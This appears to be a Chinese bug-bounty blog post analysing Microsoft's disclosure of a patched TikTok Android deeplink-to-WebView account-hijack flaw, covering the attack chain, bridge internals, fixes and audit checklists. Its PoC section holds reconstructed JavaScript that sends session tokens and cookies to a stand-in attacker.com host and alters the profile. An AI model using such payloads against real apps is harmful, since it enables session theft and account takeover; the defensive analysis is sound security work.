白帽攻防录头像
关注
SRC 挖洞:微软复盘 TikTok 一键劫持漏洞,WebView 桥接怎么被 deeplink 打穿封面图

SRC 挖洞:微软复盘 TikTok 一键劫持漏洞,WebView 桥接怎么被 deeplink 打穿

作者简介:akihi(白帽攻防录主理人),某甲方网络安全工程师,合集 SRC 年度第一、腾讯 SRC 连续三年前十,单漏洞赏金 4w+,擅长 Web / App / PC 客户端漏洞挖掘,专注 SRC 实战技术分享。

一、漏洞时间线

时间事件
2022-02微软通过 CVD / MSVR 流程向 TikTok 提交漏洞报告
2022-02 ~ 2022-03TikTok 安全团队确认漏洞,分配 CVE 编号
不到 1 个月TikTok 发布修复版本
2022-08-31微软公开技术分析博客
披露期未发现野外利用(no in-the-wild exploitation)

影响版本:TikTok Android 两个发行渠道——com.ss.android.ugc.trill(东亚/东南亚)与 com.zhiliaoapp.musically(其他地区),Google Play 合计安装量超 15 亿次。

二、攻击链全景

[攻击者服务器]
     │  构造特制链接
     ▼
[受害者浏览器] 点击 https://m.tiktok.com/redirect?...
     │  触发 Android App Link 自动拉起 TikTok
     ▼
[TikTok 导出组件] 处理 redirect deeplink
     │  query 参数重定向到内部 deeplink
     ▼
[内部 deeplink] [redacted]://webview?url=attacker.com&extra_param=...
     │  绕过服务端白名单校验
     ▼
[CrossPlatformActivity] WebView 加载 attacker.com
     │  JS 调用 window.[bridge]({func, params})
     ▼
[Java 桥接层] 反射调用 [redacted].bridge.* 包下方法
     │  以用户已登录态发认证 HTTP 请求
     ▼
[token 外带] XMLHttpRequest 把 Cookie / session_token 发到攻击者服务器
     │
     ▼
[账户接管] 修改资料 / 读私密视频 / 代发内容

整条链路的核心问题不是单点漏洞,而是三个安全假设同时失效

  1. Deeplink 校验假设:以为只有导出的 deeplink 能被外部触发,实际 redirect 参数能跳到非导出的内部 scheme
  2. WebView URL 白名单假设:以为服务端会挡住非白名单域名,实际多加两个参数就能绕过
  3. JS 桥接暴露面假设:以为桥接方法是安全的,实际 70+ 方法里包含能发认证请求、回传完整响应的高危方法

三、WebView 与 JavaScript 接口原理

3.1 addJavascriptInterface 的工作机制

Android WebView 通过 addJavascriptInterface(Object obj, String name) 把一个 Java 对象注入到网页的 JS 全局作用域。网页里 window.name 就指向这个 Java 对象,JS 可以调用它的方法。

// 应用侧注入
class JsBridge {
    @JavascriptInterface
    public String nativeMethod(String arg) {
        // 执行 Java 逻辑
        return result;
    }
}
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JsBridge(), "AppBridge");
webView.loadUrl("https://trusted.example.com/page.html");
// 网页侧调用
const result = window.AppBridge.nativeMethod("hello");
console.log(result);

3.2 安全边界的演变

  • Android 4.2(API 17)之前:所有 public 方法都暴露给 JS,包括 Object.getClass() 等反射能力,攻击者可通过反射链执行任意代码——这是 WebView JS 接口最臭名昭著的历史漏洞
  • Android 4.2 之后:只有标注 @JavascriptInterface 的方法才暴露,反射链被切断
  • 但根本问题仍在:只要 WebView 加载了攻击者可控的 URL,暴露的方法就是攻击者的武器。@JavascriptInterface 只是缩小了暴露面,没有解决"不该加载不可信 URL"的根因

审计要点:看到 addJavascriptInterface 不要急着找注解,先问——这个 WebView 最终会加载什么 URL?URL 来源是否可被外部控制?

四、TikTok 桥接层深度分析

4.1 桥接协议:JSON 字符串驱动

TikTok 的桥接不是一个方法一个方法暴露的,而是用统一入口 + JSON 路由:注册一个 JS 对象,所有调用都走一个方法,通过 JSON 里的 func 字段决定真正执行哪个 Java 方法。

// 网页 JS 调用桥接
window.TikTokBridge(JSON.stringify({
    "func": "getUserInfo",
    "params": { "userId": "123456" }
}));

Java 侧的核心逻辑(还原):

@JavascriptInterface
public void invoke(String jsonStr) {
    JSONObject req = new JSONObject(jsonStr);
    String funcName = req.getString("func");
    JSONObject params = req.getJSONObject("params");

    // 通过反射在 [redacted].bridge.* 包下查找对应方法
    Method method = findBridgeMethod(funcName);
    Object result = method.invoke(bridgeInstance, params);

    // 把结果通过 JS 回调返回给网页
    String callback = "window.onBridgeResult(" + result + ")";
    webView.loadUrl("javascript:" + callback);
}

4.2 为什么这种设计更危险

  • 暴露面集中:一个入口方法,背后挂载 [redacted].bridge.* 包下所有类的方法,静态分析时很容易漏掉——只看到一个 @JavascriptInterface,但实际调用的是整个包
  • func 字段是字符串路由:不需要知道具体方法签名,只要知道方法名就能调。攻击者通过枚举 func 字段就能暴力探测可用方法
  • 回调返回完整数据:结果直接通过 loadUrl("javascript:...") 回传,意味着网页能拿到 Java 层处理后的任意数据

4.3 70+ 暴露方法的高危分类

研究团队梳理了 WebView 上下文里 JS 可访问的方法,超过 70 个。按危害等级分类:

危害等级能力后果
严重以用户已登录态发起任意 HTTP 请求(带 Cookie / 自定义请求头),返回完整响应(含响应头)完全账户接管
读取 / 修改用户隐私信息(资料、设置)信息泄露 + 数据篡改
上传 / 删除内容(视频、评论)代发内容、删数据
读取设备信息、剪贴板信息收集

其中最关键的是"认证态 HTTP 请求"能力——这意味着攻击者不需要知道用户密码,只要用户登录着 TikTok,桥接方法就会自动带上 Cookie 和认证头发请求。

五、Deeplink 路由与绕过

5.1 Android Deeplink 与 App Links

Android deeplink 由 Manifest 里的 <intent-filter> 声明。对于 http/https 链接,可以加 android:autoVerify="true" 启用 Android App Links——系统会去域名根目录验证 /.well-known/assetlinks.json,验证通过后直接拉起 App,不弹"选择打开方式"。

TikTok 对 m.tiktok.com 配置了 App Links,所以所有指向该域名的链接都会直接进 App。

5.2 第一个洞:redirect 参数跳到非导出 deeplink

TikTok 声明了导出 deeplink https://m.tiktok.com/redirect,处理逻辑是读 query 参数,把目标 URI 重定向到 App 内部组件。问题在于:重定向目标没有做导出性校验

https://m.tiktok.com/redirect?to=internal://webview?url=https://attacker.com

正常情况下 internal://webview 这个 scheme 是非导出的(没有 android:exported="true"),外部 Intent 打不进去。但从 App 内部的 redirect 组件跳转时,走的是应用内路由,不经过 PackageManager 的导出性检查——等于用导出组件当跳板,间接触发了非导出组件

5.3 第二个洞:服务端白名单被额外参数绕过

internal://webview?url=<目标URL> 这个 deeplink 把目标 URL 加载到 CrossPlatformActivity 的 WebView 里。但应用加了服务端校验:加载 URL 前先向自己的服务器发 GET 请求,服务器返回 allow / deny。

测试 example.com 这种明显不可信域名,服务器会拒绝,页面显示"此链接可能不安全"。

但静态分析发现:在 deeplink URL 里追加两个额外参数,服务端校验逻辑就被绕过了(微软博客对具体参数名做了 redacted 处理,但明确指出是"额外参数"导致的校验逻辑分支错误)。

典型的"服务端校验 + 客户端跳转"组合漏洞:服务端以为自己是最终裁判,但客户端在拼接 URL 时多加了参数,走到了另一个不校验的代码分支。审计这类漏洞要同时看服务端校验逻辑和客户端参数拼接代码,不能只看一边。

六、PoC 实战流程

6.1 完整利用步骤

  1. 攻击者搭建服务器 https://www.attacker.com/poc,放一段恶意 JS
  2. 给受害者发链接(短信 / IM / 任何能让用户点链接的渠道)
  3. 用户点击 → Android App Links 拉起 TikTok → redirect 组件跳到内部 webview deeplink → 绕过服务端校验 → WebView 加载 attacker.com
  4. attacker.com 里的 JS 执行:
// Step 1: 触发桥接方法,发起认证态请求,把 Cookie 和请求头发到攻击者服务器
window.TikTokBridge(JSON.stringify({
    "func": "authenticatedRequest",
    "params": {
        "url": "https://www.attacker.com/collect",
        "method": "POST",
        "includeCookies": true,
        "customHeaders": {"X-Exfil": "1"}
    }
}));

// Step 2: 桥接回调返回完整响应(含 session_token, access_key 等)
window.onBridgeResult = function(resp) {
    // resp 里包含视频上传认证令牌:
    // audio_token_v5, video_token_v5, session_token, secret_access_key...
    fetch("https://www.attacker.com/steal", {
        method: "POST",
        body: JSON.stringify(resp)
    });
};

// Step 3: 用窃取的 token 修改用户资料
window.TikTokBridge(JSON.stringify({
    "func": "updateProfile",
    "params": {"bio": "!! SECURITY BREACH !!"}
}));

6.2 实际效果

微软在 PoC 中验证了两个动作:

  • token 外带:服务器日志里收到了完整的视频上传认证请求(含 session_token、access_key 等敏感字段)——这意味着攻击者可以用这些 token 直接以用户身份调 API
  • 资料篡改:用户 TikTok 个人简介被改成了 !! SECURITY BREACH !!

整个过程用户无感知:没有弹窗、没有二次确认、没有跳转浏览器,点一下链接就完成了。

七、修复方案对比

修复层面具体措施评价
Deeplink 路由redirect 组件校验目标 URI,禁止跳转到非导出 scheme堵住第一个跳板
WebView URL 加载白名单改为服务端强校验 + 客户端不接受额外参数绕过;非白名单 URL 一律走系统浏览器堵住第二个绕过
JS 桥接暴露面收紧桥接方法:认证态请求方法加来源校验(只有白名单域名的 WebView 才能调);敏感方法按业务域拆分缩小爆炸半径
纵深防御关键操作(改资料、发内容)加二次确认或服务端鉴权,不只靠客户端 WebView 信任即使 WebView 被劫持也不能直接改数据

微软的评价是:TikTok 修复速度很快,不到一个月就出补丁,且修复覆盖了 deeplink 校验和 WebView 白名单两个层面。

八、SRC 审计启示录

从这个漏洞出发,做 Android 客户端 SRC 审计时,以下检查项可以直接复用:

8.1 Deeplink 审计清单

  • Manifest 里所有 <intent-filter>,哪些是 android:autoVerify="true" 的 App Links?这些域名能被外部直接拉起
  • 导出组件的 query / path 参数是否可控?有没有"跳转目标"参数(to / url / redirect / target)能跳到内部 scheme
  • 非导出组件是否真的非导出?有没有从导出组件间接可达的路径

8.2 WebView 审计清单

  • addJavascriptInterface:每个调用点,WebView 加载的 URL 来源是什么?是否可被 deeplink / Intent extra 控制
  • loadUrl("javascript:..."):有没有把外部数据拼进 JS 执行的
  • JS 桥接对象暴露了哪些方法?有没有发 HTTP 请求、读敏感数据、改账户设置的能力
  • WebView 的 URL 校验是客户端硬编码还是服务端动态校验?服务端校验有没有可绕过的参数分支

8.3 桥接层审计清单

  • 统一入口型桥接(func/params 路由)要枚举所有可调用方法——这种最容易漏,因为代码层面只有一个 @JavascriptInterface
  • 桥接方法是否对调用来源做了校验(WebView 当前 URL 是否在白名单里)
  • 回调返回的数据是否包含敏感信息(token、Cookie、隐私字段)

一句话总结:Android 客户端高危漏洞的核心模式是"外部可控输入 → 内部组件信任链断裂"——deeplink 是入口,WebView 是放大器,JS 桥接是武器。三者只要串起来一个,就是账户接管级别的洞。

九、防护建议(给开发者)

  • 白名单域名精确匹配:不要用字符串前缀/后缀匹配,用完整域名比对,且定期维护白名单(防止过期域名被抢注)
  • 非白名单 URL 走系统浏览器:不属于应用白名单的 URL,一律 Intent.ACTION_VIEW 丢给系统浏览器,不要进 WebView
  • JS 桥接最小权限:每个暴露方法都问"这个方法真的需要被网页调用吗",能不暴露就不暴露;敏感方法加来源校验
  • 关键操作服务端鉴权:改资料、发内容、绑定操作,服务端必须二次鉴权,不能假设 WebView 里的操作就是用户本人操作
  • deeplink 导出性审计:定期跑一遍 Manifest 导出组件 + 内部路由可达性分析,确保没有"导出组件跳板跳非导出组件"的路径

十、责任披露

微软通过 CVD(协同漏洞披露)经 MSVR 团队于 2022 年 2 月通报 TikTok,TikTok 快速响应,不到一个月发布修复。微软 Defender 漏洞管理已覆盖该 CVE 的检测告警。对普通用户:不点击来源不明链接、保持 App 更新、不从不可信渠道安装应用。


白帽攻防录

转载自 CSDN-专业IT技术社区

原文链接:https://blog.csdn.net/hackernote/article/details/166142619

文章来源转载

评论

赞0

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--